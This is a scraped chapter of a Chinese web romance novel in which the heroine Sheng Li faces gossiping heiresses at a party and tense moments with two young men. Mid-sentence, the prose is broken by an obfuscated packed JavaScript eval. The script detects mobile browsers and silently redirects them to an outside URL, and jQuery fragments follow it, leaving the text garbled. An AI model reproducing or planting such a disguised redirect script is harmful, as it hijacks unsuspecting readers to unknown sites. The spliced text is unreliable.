文趣网 > 都市小说 > 她为什么对我这么好? > 62. 第62章
    小礼厅中的香气似乎格外幽微。

    这里聚集着来自不同集团的千金小姐,她们或站或坐,姿态端庄,举止有礼,弄得加慕灵十分局促,连吃甜品这种行为似乎都显得粗鲁。

    盛礼坐在加慕灵身边,视线扫过小礼厅的众人,不知为什么,她莫名有种脊背发凉的危机感。

    “夏月,这两位是你带过来的吗?”

    身着深紫色礼服的高挑女孩缓步走到小沙发旁,邵夏月笑笑:“她们是我的新朋友,这位是北唐家的加慕灵小姐,这位是盛家的,盛礼小姐。”

    高挑女孩对她们露出了一个得体的微笑:“你们好。”

    盛礼和加慕灵同时点了点头。

    “盛家?”又有一位短发女孩闻声走过来:“听说盛家找回了一位真千金。”目光落在盛礼身上打量了下:“想必就是这位小姐了。”

    盛礼微笑点头,内心却有些诧异,盛家找回真千金的事在九大世家中不是什么秘密,但是在外面就不一样了,最起码不应该传播如此广泛,以至于随便有个人都听说过。

    “盛家那位淮雪少爷,长得是那么俊美,气质又十分矜贵,像一个真正的贵族。”高挑女孩带着微笑,话锋一转:“可没想到居然是个假货。”

    短发女孩赞同地点点头,又看向盛礼:“盛小姐,那个假货鸠占鹊巢这么多年,享受了原本属于你的一切,现在还冠冕堂皇的代表盛家去交际,你真是性子好,要是我,早把那种假货赶出家门了。”

    盛礼面色沉下来,嘴角一丝笑意都没有了,加慕灵担忧地碰了碰她的胳膊,示意她要冷静。偏偏高挑女孩还在继续:“不过那个假货身材好,长得好,说不定床上功夫也很好。”

    此话引起一阵优雅的嬉笑。

    短发女孩眉眼弯弯:“每天打扮的高贵禁欲,说不定内里是个闷骚的骚.货。”

    盛礼忍无可忍一下子站起来。

    “你们不要这么说淮雪少爷。”

    一道细弱的声音率先响起,盛礼蹙眉看去,是邵夏月。

    女孩乖巧的脸上隐约透露着愠色:“淮雪少爷人很好的,不是你们说的那样,请你们尊重他!”

    两个女孩对视一眼,耸耸肩不再说什么了。

    邵夏月走到盛礼身边,十分抱歉地看着她:“对不起,她们口无遮拦惯了,但她们不是有意的,希望你不要介意,也不要跟淮雪说。”

    女孩声音低了下去,带着担忧:“我怕他听了会不高兴。”

    盛礼扫了她一眼,并没有回应。加慕灵看气氛凝滞,尬笑着缓解:“你还挺担心盛少的,你跟他很熟嘛?”

    “嗯。”女孩脸上带着淡淡的红晕:“他对我……很好。”

    加慕灵实在没控制住,露出一个见鬼的表情,她凑到盛礼耳边低声问:“她不会是你哥的女朋友吧?”

    虽说盛淮雪性子温和,脸上一直挂着笑,但加慕灵总感觉他有一种脱离于众人之外的冷漠气质,她宁愿相信冰块一样的谢兰泽有女朋友,也不相信盛淮雪会对哪个女孩产生特殊的情愫。

    盛礼摇摇头表示不知道,心头浮上一丝怪异的感觉。

    倒不是说邵夏月不好,女孩谦和有礼,话里话外对盛淮雪都有回护之意,而且听她的意思,她和盛淮雪的关系应该还不错。

    这样的女孩,按理说盛礼是很喜欢的,应该早就将交友橄榄枝抛了出去。但她没有。

    视线假装不在意地再次扫过小礼厅,盛礼对上了不少打量的目光,而且那种目光中,似乎还有带有一点,贪婪。

    怪异感越来越浓,盛礼对邵夏月礼貌一笑:“谢谢你为盛淮雪说话,我们还有事,就不多留了,你们继续。”

    “等一下!”邵夏月快走几步,拦在了盛礼和加慕灵身前,踌躇了好久,递给盛礼一个精致的丝绒小礼盒。

    “这是我送给淮雪的礼物,刚才忘记给他了,你能帮我转交一下嘛?”

    这倒不是什么难事,盛礼爽快答应了,带着加慕灵快步走出了小礼厅。

    “早知道不去了,一块甜点都没吃,还听了些不入耳的话。”

    加慕灵有些不开心,北唐家的电话恰好在这时打过来,以至于她更不开心了。

    “我去接个电话。”

    盛礼比了个OK的手势。

    她的接受能力一直很强,这才没几个月就已经完全掌握了现代社会的必备技能和基础知识。只是……

    盛礼再次看了眼那间半敞着门的小礼厅,眉心微微蹙着,现代社会的千金小姐都这么让人不舒服吗?到底是哪里不舒服呢?大概是太没礼貌了吧。

    想了半天没有头绪,盛礼索性远离这个地方。手中的丝绒礼盒质感很好,盛礼摩挲着,想到盛淮雪说如果跟加慕灵分开要联系他。环视一圈都不见盛淮雪的身影,盛礼拿出手机,想给他打个电话。

    手指刚要按下拨号键,一股大力猛然攥住她的手腕将她拽了过去!

    两只手腕被人擒着,盛礼背着身站在那人身前,眼皮上覆着一只微凉的大手,盛礼看不见也动不了,整个人都被禁锢着,只能从偶尔拂过的几缕微风中判断她正处在一个类似于露台的位置,应该已经离开主厅了。

    “你是谁?”少女的声音带着几分紧绷:“不管你是谁,我劝你赶紧放了我,因为我是个废物,你就算抓了我也没用!”

    身后响起一声极轻的哼笑,温热的呼吸紧接着洒在颈侧:“这么可爱的小废物啊……”

    盛礼一怔,感觉这清润的声音特别像一个人。

    “谢兰泽?!”

    身上的钳制被缓缓卸下,盛礼回过身,果然看见了一张冷清好看的脸。被捉弄的感觉让少女脸上露出些许怒意:“你干什么?光天化日的又搞绑架?”

    比盛礼高出一个头还要多的青年俯下身,平视着她的眼睛,盯了好一会,不轻不重地吐出两个字:“骗子。”

    盛礼:“?”

    “不是说很期待和我的见面么。”青年冷清的语调中带着几分幽怨:“我怎么没看出你的期待?”

    盛礼一怔,迟钝的想起她和谢兰泽现在已经是“试试”的关系了。

    “……没有,我很期待的。”作为一个合格的伴侣,盛礼决定不发脾气:“只不过你刚才吓到我了。”

    “勉强相信你。怎么一个人在这?”谢兰泽直起身,语气有些微妙:“盛淮雪没跟你一起吗?”

    “他去做交际花了。你刚来吗?”

    其实谢兰泽已经来了有一会了,但他一直没有找到盛礼。

    “嗯,刚来。”

    盛礼想到开心的事想跟谢兰泽分享,刚要触碰到他,手却顿在了半空,她看着青年的眼睛,有些迟疑道:“我可以牵你的手吗?”

    谢兰泽没说话,却在盛礼即将把手退回去时轻轻握住了她。

    青年的手掌宽大,掌心微凉,毫不费力的将少女的手全部藏在掌中。

    “你可以对我做任何事,不用征求我的同意。”

    银色头发的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17605211|202028||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    矜贵青年语调淡淡,好像在感情中充满经验又游刃有余,可发红的耳尖却意外将他暴露。

    盛礼笑了笑,回握住他:“跟我来。”

    盛礼牵着谢兰泽回到她刚才藏身的角落里,十分熟练的夹起几块甜品递给谢兰泽:“我尝过了,这一片的甜点,这几块是最好吃的,你尝尝!”

    青年顿了下,随即道:“我没洗手。”

    “洗手间在那边,你去洗,我在这等你。”

    谢兰泽眸色中带着些近乎宠溺的无奈:“可我不想动。”

    “啊……”盛礼后知后觉的反应过来:“谢兰泽,你是不是不喜欢吃甜品啊,所以找各种借口逃避?你可以直接跟我说的。”

    谢兰泽:“。”

    费尽心机才哄骗到手的女朋友是根木头怎么办?

    青年叹了口气:“你就不能喂我么?”

    盛礼有些不理解,怎么一个两个都要她喂?这就是男人至死是少年的意思吗?永远长不大,永远需要人喂?

    但作为一个合格的伴侣,她可以惯着谢兰泽一些幼稚的行为。

    盛礼只好亲自拿起一块甜品,递到青年嘴边:“吃吧。”

    青年垂头咬下甜品,眼睛却直勾勾地看着盛礼,唇瓣若有似无地触碰到少女的指尖,谢兰泽直起身,强装镇定:“还不错。”

    “那你再尝尝这个。”

    少女又拿起一块甜品递到青年嘴边:“这个更好吃。”

    “盛礼。”

    凉飕飕的声音传来,打断了两人的动作。

    盛礼瞬间认出了这个声音,头皮噌一下炸开,连忙把甜品盘藏到身后,往旁边挪了一大步与谢兰泽拉开距离,而后对着那人露出一个讨好的笑。

    一系列动作过于丝滑,像是身体的条件反射一般,以至于盛礼做完后自己都愣怔了一下,她这么心虚干什么?

    盛淮雪面无表情地走到盛礼身边,一把将她藏起来的甜品盘夺过来,随手扔在了旁边的高台上,淡漠地看着谢兰泽:“我记得谢少不喜欢吃甜的。”

    “口味变了。”谢兰泽的声音不疾不徐:“你不是也不喜欢么,现在又来抢了?”

    谢兰泽并非真的不想公开他和盛礼的关系,没有一个男人不希望把伴侣圈进自己的领地。但是,盛礼单纯懵懂,答应得太快,可能她自己都不知道自己在做什么,他不希望公开后的压力给到盛礼,他想等她慢慢开窍长大。

    其次就是因为盛淮雪。以前他只知道盛淮雪为人心思深沉,通过霍行的事,他对这个人的危险程度和不稳定性的评估直线上升,他能看出盛淮雪对盛礼的心思,如果让盛淮雪知道他和盛礼的关系,那人近水楼台,难免不会做出什么事来。

    “谢少既然来给别人庆生,不先去拜访一下寿星么?”盛淮雪面上看不出喜怒:“祁听云听说你来找你半天了,不去打个招呼?”

    谢兰泽看了眼盛礼,少女几乎把惊慌失措写在了脑门上,他不想让盛礼为难,道了句先告辞就转身离开了。

    总归他和盛礼才是“试试”的关系,主动权在他手里。

    走了一个男人,刚才剑拔弩张的氛围逐渐变得阴暗恐怖,盛礼心里不安,眼睛四处乱看搜寻着加慕灵的身影,不是只去接个电话吗?怎么还没回来??

    “找什么呢。”

    青年出现在盛礼视线中,不由分说地拎着她走到更里面的角落,一把将她推到长桌旁,随即倾身而上将她困在自己和长桌中间,眼瞳漆黑:“解释,立刻。”